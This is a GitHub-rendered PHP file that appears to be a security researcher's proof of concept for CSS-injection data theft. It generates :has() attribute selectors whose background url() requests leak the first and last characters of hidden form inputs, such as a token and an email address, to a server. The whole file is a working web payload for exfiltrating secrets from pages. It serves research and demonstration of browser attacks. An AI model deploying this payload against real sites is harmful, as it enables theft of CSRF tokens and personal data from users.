-
Notifications
You must be signed in to change notification settings - Fork 8
/
input-name-value-begins-ends-with.php
61 lines (60 loc) · 1.88 KB
/
input-name-value-begins-ends-with.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<input type="hidden" name="mytoken" value="ddaf35a193617abacc417349ae204">
<input type="hidden" name="email" value="gareth.heyes@portswigger.net">
<style>
<?php
$chrs = array_merge(range('a','z'),range(0,9));
$max = 20;
for($i=1;$i<$max;$i++) {
echo 'body:has(input[type="hidden"]:nth-child('.$i.')){--inputCount: url(/?inputCount='.$i.');}'."\n";
}
foreach($chrs as $chr) {
for($i=1;$i<$max;$i++) {
echo 'body:has(input[type="hidden"][value^="'.$chr.'"]:nth-child('.$i.')){--input'.$i.'ValueBegins: url(/?input'.$i.'ValueBegins='.$chr.');}'."\n";
}
}
foreach($chrs as $chr) {
for($i=1;$i<$max;$i++) {
echo 'body:has(input[type="hidden"][value$="'.$chr.'"]:nth-child('.$i.')){--input'.$i.'ValueEnds: url(/?input'.$i.'ValueEnds='.$chr.');}'."\n";
}
}
foreach($chrs as $chr) {
for($i=1;$i<$max;$i++) {
echo 'body:has(input[type="hidden"][name^="'.$chr.'"]:nth-child('.$i.')){--input'.$i.'ValueBegins: url(/?input'.$i.'NameBegins='.$chr.');}'."\n";
}
}
foreach($chrs as $chr) {
for($i=1;$i<$max;$i++) {
echo 'body:has(input[type="hidden"][name$="'.$chr.'"]:nth-child('.$i.')){--input'.$i.'NameEnds: url(/?input'.$i.'NameEnds='.$chr.');}'."\n";
}
}
?>
body {
background:var(--inputCount,none),
<?php
$rules = [];
for($i=1;$i<$max;$i++) {
array_push($rules, 'var(--input'.$i.'ValueBegins,none)');
}
echo join(",", $rules);
echo ',';
$rules = [];
for($i=1;$i<$max;$i++) {
array_push($rules, 'var(--input'.$i.'ValueEnds,none)');
}
echo join(",", $rules);
echo ',';
$rules = [];
for($i=1;$i<$max;$i++) {
array_push($rules, 'var(--input'.$i.'NameBegins,none)');
}
echo join(",", $rules);
echo ',';
$rules = [];
for($i=1;$i<$max;$i++) {
array_push($rules, 'var(--input'.$i.'NameEnds,none)');
}
echo join(",", $rules);
echo ';';
?>
}
</style>